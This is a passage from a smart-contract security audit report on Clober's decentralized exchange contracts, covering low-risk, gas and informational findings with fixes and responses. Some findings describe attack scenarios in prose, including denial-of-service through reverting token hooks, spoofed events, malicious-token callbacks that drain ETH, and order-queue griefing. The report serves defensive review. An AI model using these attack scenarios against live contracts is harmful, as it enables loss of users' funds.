Recommendation: If there is no good usecase for the renaming functionality, consider removing these functions and only setting the `name` and `symbol` in its `init` function.

Clober: Fixed in PR 335.

Spearbit: Fixed.

5.4.3 DOSing `_replaceStaleOrder()` due to reverting on token transfer

Severity: Low Risk

Context: OrderBook.sol#L676-L677

Description: In the case of tokens with implemented hooks, a malicious order owner can revert on token received event thus cause a denial-of-service via `_replaceStaleOrder()`. The probability of such an attack is very low, because the order queue has to be full and it is unusual for tokens to implement hooks.

Recommendation: Use a blacklist/whitelist system to filter out non-standard tokens.

In case the recommendation is implemented only partially, consider implementing in the UI a proper warnings for known malicious tokens, so end-users can easily identify which assets should be avoided.

Clober: Fixed in PR 363. Allow list was implemented in the `MarketFactory` for a `quoteToken`. The `_replaceStaleOrder` function was removed and the logic was replaced to be non-blocking to resolve this as well as other denial-of-service conditions.

Spearbit: Currently the implementation allows only to create a market where a `quoteToken` is among whitelisted assets. It is possible, at any time, to prevent creating new markets (`OrderBook`s) for any given `quoteToken` as the allow list can be updated at any time by the owner, what can potentially be used to censor some types of markets if abused. This however, affects neither already created markets nor `baseToken`. The latter currently is not restricted.

It was verified the modifications to replace stale orders is no longer blocking, preventing successful exploitation of malicious hooks.

5.4.4 Total claimable bounties may exceed `type(uint32).max`

Severity: Low Risk

Context: OrderBook.sol#L209 OrderBook.sol#L218 OrderBook.sol#L279 OrderBook.sol#L301

Description: Individual bounties are capped to `type(uint32).max` which is ~4.295 of a native token of 18 decimals (`4.2949673e18` wei). It's possible (and likely in the case of Polygon network) for their sum to therefore exceed `type(uint32).max`.

Recommendation: Change the `totalCanceledBounty` and `totalBounty` variable types to `uint64`.

```
- uint32 totalCanceledBounty = 0;
+ uint64 totalCanceledBounty = 0;

- uint32 totalBounty = 0;
+ uint64 totalBounty = 0;
```

Clober: Fixed in PR 340.

Spearbit: Fixed. Variable type has been changed to `uint256`. Moreover, the addition to these variables are made unchecked, hence it is extremely unlikely for overflow to occur.

```
// overflow when length == 2**224 > 2 * size(priceIndex) * _MAX_ORDER, absolutely never happening
unchecked {
   totalCanceledBounty += claimBounty;
}

// overflow when length == 2**224 > 2 * size(priceIndex) * _MAX_ORDER, absolutely never happening
unchecked {
  totalBounty += mOrder.claimBounty;
}
```

5.4.5 Can fake market order in `TakeOrder` event

Severity: Low Risk

Context: OrderBook.sol#L169

Description: Market orders in `Orderbook.marketOrder` set the 8-th bit of `options`. This `options` value is later used in `_take`'s `TakeOrder` event. However, one can call `Orderbook.limitOrder` with this 8-th bit set and spoof a market order event.

Recommendation: Consider clearing unused bits from `options`

```
// limit
options = options & 0x03

// market
options = (options | 0x80) & 0x83
```

Clober: Fixed in commit e2b25d49.

Spearbit: Fixed.

5.4.6 `_priceToIndex` will revert if `price` is `type(uint128).max`

Severity: Low Risk

Context: GeometricPriceBook.sol#L82

Description: Because `price` is type `uint128`, the increment will overflow first before it is casted to `uint256`

```
uint256 shiftedPrice = uint256(price + 1) << 64;
```

Recommendation: Cast `price` to `uint256` first

```
- uint256 shiftedPrice = uint256(price + 1) << 64
+ uint256 shiftedPrice = (uint256(price) + 1) << 64
```

Clober: Fixed in PR 367.

Spearbit: Verified. Recommended casting applied in PR, but not applied to the main branch by the end of the fixing time window.

5.4.7 using block.chainid for create2 salt can be problematic if there's chain hardfork

Severity: Low Risk

Context: StableMarketDeployer.sol#L30 VolatileMarketDeployer.sol#L28 MarketFactory.sol#L155 MarketFactory.sol#L182

Description: Using `block.chainid` as salt for create2 can result in inconsistency if there is a chain split event(eg. eth2 merge).

This will make 2 different chains that has different chainid(one with original chain id and one with random new value). Which will result in making one of the chains not able to interact with markets, nfts properly.

Also, it will make things hard to do a fork testing which changes chainid for local environment.

Recommendation: Cache `block.chainId` as private immutable value `_chainId` or just don't use `block.chainId` as create2 salt.

Clober: Fixed in PR 331.

Spearbit: Fixed. `block.chainId` is cached in `_cachedChainId`.

5.5 Gas Optimization

5.5.1 Use `get64Unsafe()` when updating `claimable` in `take()`

Severity: Gas Optimization

Context: OrderBook.sol#L588-L593

Description: `get64Unsafe()` can be used when fetching the stored claimable value since `_getClaimableIndex()` returns `elementIndex < 4`

Recommendation: Consider applying the following change

```
claimable[groupIndex] = claimableGroup.update64Unsafe(
    elementIndex,
-   claimableGroup.get64(elementIndex).addClean(takenRawAmount)
+   claimableGroup.get64Unsafe(elementIndex).addClean(takenRawAmount)
);
```

Clober: Fixed in commit ce0e2513.

Spearbit: Fixed.

5.5.2 Check is zero is cheaper than check if the result is a concrete value

Severity: Gas Optimization

Context: SignificantBit.sol#L14

Description: Checking if the result is zero vs. checking if the result is/isn't a concrete value should save 1 opcode.

Recommendation: Consider applying the following change

```
- x & 1 != 1
+ x & 1 == 0
```

Clober: Fixed in PR 36.

Spearbit: Fixed.

5.5.3 Function argument can be skipped

Severity: Gas Optimization

Context: OrderBook.sol#L240

Description: The `address caller` parameter in the internal `_cancel` function can be replaced with `msg.sender` as effectively this is the value that is actually used when the function is invoked.

Recommendation: Remove `caller` argument from `_cancel` function.

Additionally, it is recommended to do a similar change and replace `CloberMarketSwapCallbackReceiver(callbackReceiver)` to `CloberMarketSwapCallbackReceiver(msg.sender)` to simplify the code and the security analysis.

Clober: Fixed in commit c43c3a04 and PR 360.

Spearbit: Verified. Both recommendations applied.

5.5.4 Redundant flash loan balance cap

Severity: Gas Optimization

Context: OrderBook.sol#L323-L330

Description: The requested flash loan amounts are checked against and capped up to the contract's token balances, so the caller has to validate and handle the case where the tokens received are below the requested amounts.

It would be better to optimize for the success case where there are sufficient tokens. Otherwise, let the function revert from failure to transfer the requested tokens instead.

Recommendation: Remove the check against the contract's token balances.

```
- if (quoteAmount > beforeQuoteAmount) {
-     quoteAmount = beforeQuoteAmount;
- }
- if (baseAmount > beforeBaseAmount) {
-     baseAmount = beforeBaseAmount;
- }
```

Clober: Fixed PR 342.

Spearbit: Fixed.

5.5.5 Do direct assignment to totalBaseAmount and totalQuoteAmount

Severity: Gas Optimization

Context: OrderBook.sol#L303-L309

Description: While iterating through multiple claims, totalBaseAmount and totalQuoteAmount are reset and assigned a value each iteration. Since they are only incremented in the referenced block (and are mutually exclusive cases), the assignment can be direct instead of doing an increment.

Recommendation: Do a direct assignment to totalBaseAmount and totalQuoteAmount instead of the += operation.

Clober: Fixed PR 313.

Spearbit: Fixed.

5.5.6 Redundant zero minusFee setter

Severity: Gas Optimization

Context: OrderBook.sol#L724

Description: minusFee defaults to zero, so the explicit setting of it is redundant.

Recommendation: While can be removed, it is recommended to change it as a comment for clarity.

Clober: Fixed PR 313.

Spearbit: Fixed.

5.5.7 Load _FEE_PRECISION into local variable before usage

Severity: Gas Optimization

Context: OrderBook.sol#L331-L332

Description: Loading _FEE_PRECISION into a local variable slightly reduced bytecode size (0.017kB) and was found to be a tad more gas efficient.

Recommendation:

```
+ uint256 feePrecision = _FEE_PRECISION;
- uint256 quoteFeeAmount = (quoteAmount * takerFee) / _FEE_PRECISION;
- uint256 baseFeeAmount = (baseAmount * takerFee) / _FEE_PRECISION;
+ uint256 quoteFeeAmount = (quoteAmount * takerFee) / feePrecision;
+ uint256 baseFeeAmount = (baseAmount * takerFee) / feePrecision;
```

Clober: Fixed in PR 313.

Spearbit: Fixed.

5.5.8 Can cache value difference in `SegmentedSegmentTree464.update`

Severity: Gas Optimization

Context: SegmentedSegmentTree464.sol#L160, SegmentedSegmentTree464.sol#L170

Description: The `replaced - value` expression in `SegmentedSegmentTree464.pop` is recomputed several times in each loop iteration.

Recommendation: Consider caching the value for both loops.

```
uint64 diff = replaced - value;
```

Clober: Fixed in commit 3e9e6b16.

Spearbit: Fixed.

5.5.9 Unnecessary loop condition in `pop`

Severity: Gas Optimization

Context: SegmentedSegmentTree464.sol#L84

Description: The loop variable `l` in `SegmentedSegmentTree464.pop` is an **unsigned** int, so the loop condition `l >= 0` is always true. The reason why it still terminates is that the first layer only has group index 0 and 1, so the `rightIndex.group - leftIndex.group < 4` condition is always true when the first layer is reached, and then it terminates with the `break` keyword.

Recommendation: This loop condition is not necessary and can be removed.

Clober: Fixed in commit 22055e96.

Spearbit: Fixed.

5.5.10 Use same comparisons for children in heap

Severity: Gas Optimization

Context: OctopusHeap.sol#L237

Description: The `pop` function compares one child with a strict inequality (<) and the other with less than or equals (<=). A heap doesn't guarantee order between the children and there are no duplicate nodes (`wordIndexes`).

Recommendation: Use < for both comparisons

```
- if (leftChildWordIndex > wordIndex && rightChildWordIndex >= wordIndex) {
+ if (leftChildWordIndex > wordIndex && rightChildWordIndex > wordIndex) {
```

Clober: Fixed in commit 2cbeae15.

Spearbit: Fixed.

5.5.11 Gas optimization for `OctopusHeap.pop`'s `newLength` computation

Severity: Gas Optimization

Context: OctopusHeap.sol#L224

Description: The `newLength` computation relies on an underflow in the lower bits to wrap from "length of 256" (= stored 0 and heap is not empty) to 255. The code can be made more clear and optimized.

```
unchecked {
    newLength = uint8(head) - 1;
}
```

Clober: Fixed in commit 2cbeae15.

Spearbit: Fixed.

5.5.12 Gas optimization for `OctopusHeap.root`

Severity: Gas Optimization

Context: OctopusHeap.sol#L174

Description: The code can be optimized by using `or` instead of checked addition

```
- return (uint16(wordIndex) << 8) + bitIndex;
+ return (uint16(wordIndex) << 8) | bitIndex;
```

Clober: Fixed in commit 2cbeae15.

Spearbit: Fixed.

5.5.13 No need for explicit assignment with default values

Severity: Gas Optimization

Context: OrderBook.sol#L126-L127 OrderBook.sol#L218-L220 OrderBook.sol#L290 OrderBook.sol#L308-L309 OrderBook.sol#L561-L562 OrderBook.sol#L695

Description: Explicitly assigning `ZERO` value (or any default value) costs gas, but is not needed.

Recommendation: Skip init assignments with 0 values.

Clober: Addressed in PR 313 and PR 360.

Spearbit: Fixed, except for an instance in the `_take()` function where the removal oddly increases the bytecode size with no change in gas usage.

5.5.14 Prefix increment is more efficient than postfix increment

Severity: Gas Optimization

Context: Orderbook.sol#L210 OrderBook.sol#L280 OrderBook.sol#L530

Description: The prefix increment reduces bytecode size by a little, and is slightly more gas efficient.

Recommendation: Implement the following

```
- i++
+ ++i

- ret += 1
+ ++ret;
```

Clober: Fixed in PR 313.

Spearbit: Fixed.

5.5.15 Tree update can be avoided for fully filled orders

Severity: Gas Optimization

Context: OrderBook.sol#L262-L267

Description: For fully filled orders, `remainingAmount` will be 0 (openOrderAmount == claimedRawAmount), so the tree update can be skipped since the new value is the same as the old value. Hence, the code block can be moved inside the `if (remainingAmount > 0)` code block.

Recommendation: Shift the tree update call to inside the `if (remainingAmount > 0)` code block.

Clober: Fixed in PR 313.

Spearbit: Fixed.

5.5.16 Shift `msg.value` cap check for earlier revert

Severity: Gas Optimization

Context: OrderBook.sol#L118

Description: The cap check on `msg.value` should be shifted up to the top of the function so that failed checks will revert earlier, saving gas in these cases.

Recommendation: Shift the check up before the `isBid` and `bountyRefundAmount` initialisations .

Clober: Fixed in PR 313.

Spearbit: Fixed.

5.5.17 Solmate's `ReentrancyGuard` is more efficient than OpenZeppelin's

Severity: Gas Optimization

Context: OrderBook.sol#L8

Description: Solmate's ReentrancyGuard provides the same functionality as OpenZeppelin's version, but is more efficient as it reduces the bytecode size by 0.11kB, which can be further reduced if its require statement is modified to revert with a custom error.

Recommendation: Use Solmate's ReentrancyGuard instead.

Clober: Changed in PR 305.

Spearbit: Fixed. Modified Solmate's ReentrancyGuard to use custom error instead of require statement.

5.5.18 `r * r` is more gas efficient than `r ** 2`

Severity: Gas Optimization

Context: GeometricPriceBook.sol#L31-L47

Description: It's more gas efficient to do `r * r` instead of `r ** 2`, saving on deployment cost.

Recommendation: Replace the instances of `r ** 2` to `r * r`.

Clober: Fixed in commit 941d688f.

Spearbit: Fixed.

5.5.19 Update `childHeapIndex` and `shifter` initial values to constants

Severity: Gas Optimization

Context: OctopusHeap.sol#L233 SegmentedSegmentTree464.sol#L42 SegmentedSegmentTree464.sol#L180

Description: The initial values of `childHeapIndex` and `shifter` can be better hardcoded to avoid redundant operations.

Recommendation: Implement the following changes:

- OctopusHeap

```
- uint16 childHeapIndex = _getLeftChildHeapIndex(heapIndex);
+ uint16 childHeapIndex = 2;
```

- SegmentedSegmentTree464

```
- uint256 private constant _MAX_NODES_P = 15;
+ uint256 private constant _MAX_NODES_P_MINUS_ONE = 14;

- uint256 shifter = _MAX_NODES_P - 1
+ uint256 shifter = _MAX_NODES_P_MINUS_ONE
```

Clober: Fixed PR 39.

Spearbit: Fixed.

5.5.20 Same value tree update falls under `else` case which will do redundant overflow check

Severity: Gas Optimization

Context: SegmentedSegmentTree464.sol#L153

Description: In the case where `value` and `replaced` are equal, it currently will fall under the `else` case which has an addition overflow check that isn't required in this scenario. In fact, the tree does not need to be updated at all.

Recommendation: One could combine the equality case with the if case, do an early return, or ensure that the function is only called when there is a difference in values.

```
- if (replaced > value)
+ if (replaced >= value)
```

Clober: Fixed in commit 3e9e6b16.

Spearbit: Fixed.

5.5.21 Unchecked code blocks

Severity: Gas Optimization

Context: OctopusHeap.sol#L242 SegmentedSegmentTree464.sol#L153-L174 OrderBook.sol#L351-L352 OrderBook.sol#L581-L582

Description: The mentioned code blocks can be performed without native math overflow / underflow checks because they have been checked to be so, or the min / max range ensures it.

Recommendation: Wrap the referenced blocks with `unchecked {}`.

Clober: Fixed orderbook instance at PR 313 and SegmentedSegmentTree instance PR 36.

Spearbit: Fixed.

5.5.22 Unused Custom Error

Severity: Gas Optimization

Context: SegmentedSegmentTree464.sol#L30

Description: `error TreeQueryIndexOrder();` is defined but unused.

Recommendation: Remove the unused error.

Clober: Deleted in commit 46a0b6b1.

Spearbit: Fixed.

5.6 Informational

5.6.1 Markets with malicious tokens should not be interacted with

Severity: Informational

Context: MarketRouter.sol#L34

Description: The Clober protocol is permissionless and allows anyone to create an orderbook for any base token. These base tokens can be malicious and interacting with these markets can lead to loss of funds in several ways.

For example, a token with custom code / a callback to an arbitrary address on transfer can use the pending ETH that the victim supplied to the router and trade it for another coin. The victim will lose their ETH and then be charged a second time using their WETH approval of the router.

Recommendation: Users need to be aware that trading on a market with an unknown token can lead to loss of funds.

Clober: Acknowledged.

Spearbit: Acknowledged.

5.6.2 Claim bounty of stale orders should be given to `user` instead of `daoTreasury`

Severity: Informational

Context: OrderBook.sol#L656-L662 OrderBook.sol#L667

Description: When an unclaimed stale order is being replaced, the `claimBounty` is sent to the DAO treasury. However, since the `user` is the one executing the claim on behalf of the stale order owner, and is paying the gas for it, the `claimBounty` should be sent to him instead.

Recommendation: Change the `claimer` from the treasury to `user`.

Clober: Fixed PR 347.

Spearbit: Issue is no longer applicable because claims have been decoupled with replacement of stale orders.

5.6.3 Misleading comment on `remainingRequestedRawAmount`

Severity: Informational

Context: OrderBook.sol#L130-L133

Description: The comment says `// always ceil`, but `remainingRequestedRawAmount` is rounded down when the base / quote amounts are converted to the raw amount.

Recommendation: Consider applying the following change

```diff
- // always ceil
+ // always floor
```

Clober: Fixed commit 557ca41d.

Spearbit: Fixed.

5.6.4 Potential DoS if `quoteUnit` and index to price functions are set to unreasonable values

Severity: Informational

Context: OrderBook.sol#L565

Description: There are some griefing and DoS (denial-of-service) attacks for some markets that are created with bad `quoteUnit` and pricing functions.

1. A market order uses `_take` to iterate over several price indices until the order is filled. An attacker can add a tiny amount of depth to many indices (prices), increasing the gas cost and in the worst case leading to out-of-gas transactions.
2. There can only be `MAX_ORDER_SIZE` (32768) different orders at a single price (index). Old orders are only replaced if the previous order at the index has been fully filled. A griefer or a market maker trying to block their competition can fill the entire order queue for a price. This requires `32768 * quoteUnit` quote tokens.

Recommendation: To mitigate the first issue, the chosen index-to-price function for two neighbouring price indices should also lead to an increase in price that is not too small. The second issue can be mitigated and be made unprofitable by choosing a `quoteUnit` large enough such that `32768 * quoteUnit` is of significant value.

Clober: Described cases will be covered in the documentation. The progress is tracked in clober-dex/core/issues/369.

Spearbit: Acknowledged.

5.6.5 Rounding rationale could be better clarified

Severity: Informational

Context: OrderBook.sol#L579-L582

Description: The rationale for rounding up / down was easier to follow if tied to the `expendInput` option instead.

Recommendation:

```
// Rounds down if expendInput, rounds up if expendOutput
// Bid & expendInput => taking ask & expendInput => rounds down (user specified quote)
// Bid & expendOutput => taking ask & expendOutput => rounds up (user specified base)
// Ask & expendInput => taking bid & expendInput => rounds down (user specified base)
// Ask & expendOutput => taking bid & expendOutput => rounds up (user specified quote)
```

Clober: Also, the logic looks better to change as below:

```
uint64 remainingRawAmount = isTakingBidSide == expendInput
    ? _baseToRaw(requestedAmount - filledAmount, currentIndex, !expendInput)
    : _quoteToRaw(requestedAmount - filledAmount, !expendInput);
```

Fixed in PR 313.

Spearbit: Fixed.

5.6.6 Rename `flashLoan()` for better composability & ease of integration

Severity: Informational

Context: OrderBook.sol#L317

Description: For ease of 3rd party integration, consider renaming to `flash()`, as it would then have the same function sig as Uniswap V3, although the callback function would still be different.

Recommendation:

```
- flashLoan(
+ flash(
```

Clober: Fixed in PR 326.

Spearbit: Fixed.

5.6.7 Unsupported tokens: tokens with more than 18 decimals

Severity: Informational

Context: OrderBook.sol#L102

Description: The orderbook does currently not support tokens with more than 18 decimals. However, having more than 18 decimals is very unusual.

Recommendation: Consider if there are any non-standard tokens that you might want to support. As the protocol is permissionless, consider documenting that only standard tokens should be used as quote and base tokens and that the protocol does not support non-standard tokens, like tokens with more than 18 decimals, fee-on-transfer tokens, rebasing tokens, etc.

Clober: Described cases will be covered in the documentation. The progress is tracked in clober-dex/core/issues/369.

Spearbit: Acknowledged.

5.6.8 `ArithmeticPriceBook` and `GeometricPriceBook` contracts should be abstract

Severity: Informational

Context: GeometricPriceBook.sol, ArithmeticPriceBook.sol

Description: The `ArithmeticPriceBook` and `GeometricPriceBook` contracts don't have any external functions.

Recommendation: Consider making these contracts `abstract`.

Clober: Fixed in commit 300b1986.

Spearbit: Fixed.

5.6.9 `childRawIndex` in `OctopusHeap.pop` is not a raw index

Severity: Informational

Context: OctopusHeap.sol#L231

Description: The `OctopusHeap` uses **raw** and **heap** indices. Raw indices are 0-based (root has raw index 0) and iterate the tree top to bottom, left to right. Heap indices are 1-based (root has heap index 0) and iterate the head left to right, top to bottom, but then iterate the remaining nodes octopus arm by arm. A mapping between the raw index and heap index can be obtained through `_convertRawIndexToHeapIndex`.

The `pop` function defines a `childRawIndex` but this variable is not a raw index, it's actually raw index + 1 (1-based).

Recommendation: The algorithm works correctly on the wrongly named variable which makes it look confusing. Either rename the variable to `childRawIndex1Based` or rewrite the algorithm to correctly use raw indices (preferred). Note that the `leftChild(index)` function is different for 0- and 1-based indices:

```
leftChild(index0Based) = 2 * index + 1
leftChild(index1Based) = 2 * index
```

```
function pop(Core storage core) internal {
    (uint8 rootWordIndex, uint8 rootBitIndex) = _root(core);
    uint256 mask = 1 << rootBitIndex;
    uint256 word = core.bitmap[rootWordIndex];
    if (word == mask) {
        uint256 head = core.heap[0];
        uint8 newLength = uint8(head - 1);
        if (newLength == 0) {
            core.heap[0] = _INIT_VALUE;
        } else {
            uint256 arm;
            uint8 wordIndex = _getWordIndex(core, _convertRawIndexToHeapIndex(newLength));
            uint16 heapIndex = 1;
-           uint16 childRawIndex = 2;
+           uint16 childRawIndex = 1; // left-child of root
            uint16 bodyPartIndex;
            uint16 childHeapIndex = _getLeftChildHeapIndex(heapIndex);
-           while (childRawIndex <= newLength) {
+           while (childRawIndex < newLength) { // 0-based so < instead of <=
                uint8 leftChildWordIndex = _getWordIndex(head, arm, childHeapIndex);
                uint8 rightChildWordIndex = _getWordIndex(head, arm, childHeapIndex + 1);
                if (leftChildWordIndex > wordIndex && rightChildWordIndex >= wordIndex) {
                    break;
                } else if (leftChildWordIndex > rightChildWordIndex) {
                    (head, arm) = _updateWordIndex(head, arm, heapIndex, rightChildWordIndex);
                    heapIndex = childHeapIndex + 1;
-                   childRawIndex = (childRawIndex + 1) << 1;
+                   childRawIndex = (childRawIndex << 1) + 3; // leftChild(childRawIndex + 1)
                } else {
                    (head, arm) = _updateWordIndex(head, arm, heapIndex, leftChildWordIndex);
                    heapIndex = childHeapIndex;
-                   childRawIndex <<= 1;
+                   childRawIndex (childRawIndex << 1) + 1; // leftChild(childRawIndex)
                }
                childHeapIndex = _getLeftChildHeapIndex(heapIndex);
                if (childHeapIndex > _HEAD_SIZE && bodyPartIndex == 0) {
                    // child in arm
                    bodyPartIndex = childHeapIndex >> _HEAD_SIZE_M;
                    arm = core.heap[bodyPartIndex];
                }
            }
            (head, arm) = _updateWordIndex(head, arm, heapIndex, wordIndex);
            unchecked {
                if (uint8(head) == 0) {
                    core.heap[0] = head + 255; // decrement length by 1
                } else {
                    core.heap[0] = head - 1; // decrement length by 1
                }
            }
            if (bodyPartIndex > 0) {
                core.heap[bodyPartIndex] = arm;
            }
        }
    }
    core.bitmap[rootWordIndex] = word & (~mask);
}
```

Consider renaming `_ROOT_INDEX` to `_ROOT_HEAP_INDEX` to make it more clear what kind of index this variable is.

Clober: Fixed in PR 37.

Spearbit: Fixed. Recommendation was implemented, and `_ROOT_INDEX` has been renamed to `_ROOT_HEAP_INDEX`.

5.6.10 Lack of `orderIndex` validation

Severity: Informational

Context: OrderNFT.sol#L271

Description: The `orderIndex` parameter in the `OrderNFT` contract is missing proper validation. Realistically the value should never exceed `type(uint232).max` as it is passed from the `OrderBook` contract, however, future changes to the code might potentially cause encoding/decoding ambiguity.

Recommendation: Add proper validation.

```
require(orderIndex <= type(uint232).max);
```

Clober: Fixed in PR 353.

Spearbit: Verified. Validation added. By the end of the fixing stage the contract was refactored and the encoding/decoding functionality was moved to the `OrderKey.sol` library keeping the same validation logic.

5.6.11 Unsafe `_getParentHeapIndex`, `_getLeftChildHeapIndex`

Severity: Informational

Context: OctopusHeap.sol#L135 OctopusHeap.sol#L156 discussion

Description: When `heapIndex = 1` `_getParentHeapIndex(uint16 heapIndex)` would return 0 which is an invalid heap index. when `heapIndex = 45` `_getLeftChildHeapIndex(uint16 heapIndex)` would return 62 which is an invalid heap index.

Recommendation: None. The functions aren't called with these inputs.

Clober: It appears that this input is not intended to be used within the `_getParentHeapIndex` , `_getLeftChildHeapIndex` function. Can we proceed without making any modifications?

Spearbit: Yes, the surrounding code guards against these values for `_getParentHeapIndex` and `_getLeftChildHeapIndex` could be called for `pop` with this value but the `while(childRawIndex <= newLength)` loop would stop before the invalid heap index is used. Marked as acknowledged.

5.6.12 `_priceToIndex` function implemented but unused

Severity: Informational

Context: ArithmeticPriceBook.sol#L23 GeometricPriceBook.sol#L74

Description: The `_priceToIndex` function for the price books are implemented but unused.

Recommendation: Consider having an external method to expose these methods, or change their visibilities to public.

Clober: Due to the code size, it is impossible to make it as public now. So, we compromise it to just leave this internal function and guide users to extend this contract.

Spearbit: Acknowledged.

5.6.13 Incorrect _MAX_NODES and _MAX_NODES_P descriptions

Severity: Informational

Context: SegmentedSegmentTree464.sol#L41-L42

Description: The derivation of the values _MAX_NODES and MAX_NODES_P in the comments are incorrect. For _MAX_NODES

```
C * ((S *C) ** L-1))
= 4 * ((2 * 4) ** 3)
= 2048
```

is missing the E, or replace S * C with N. The issue isn't entirely resolved though, as it becomes

```
C * (S * C * E) ** (L - 1)
= 4 * (2 * 4 * 2) ** 3
= 16384 or 2 ** 14
```

Same with _MAX_NODES_P

Recommendation: The formulas should be updated.

Clober: Formulas updated in PR 39.

```
//    uint8 private constant _R = 2; // There are `2` root node groups
//    uint8 private constant _C = 4; // There are `4` children (each child is a node group of its own)
↪  for each node
uint256 private constant _N_P = 4; // C * P = 2 ** `4`
uint256 private constant _MAX_NODES = 2**15; // (R * P) * ((C * P) ** (L - 1)) = `32768`
uint256 private constant _MAX_NODES_P_MINUS_ONE = 14; // MAX_NODES / R = 2 ** `14`
```

Spearbit: Fixed. Some new definitions were introduced and math now checks out.

6 Appendix: Issues raised by Clober

6.0.1 `marketOrder()` with `expendOutput` reverts with `SlippageError` with max tolerance

Severity: High Risk

Context: https://github.com/clober-dex/core/issues/332

Description: During the audit the Clober team raised this issue. Added here to track the fixes.

Recommendation: Clober: Fixed in commit fdf90626.

Spearbit: Fixed. The taker fee is now only accounted for once at the end of the function instead of each price index.

6.0.2 Wrong OrderIndex could be emitted at `Claim()` event.

Severity: Low Risk

Context: https://github.com/clober-dex/core/issues/354

Description: During the audit the Clober team raised this issue. Added here to track the fixes.

Recommendation: Clober: Fixed in PR 352 .

Spearbit: Fixed. `claim` and `_cancel` now also check validity of order indexes.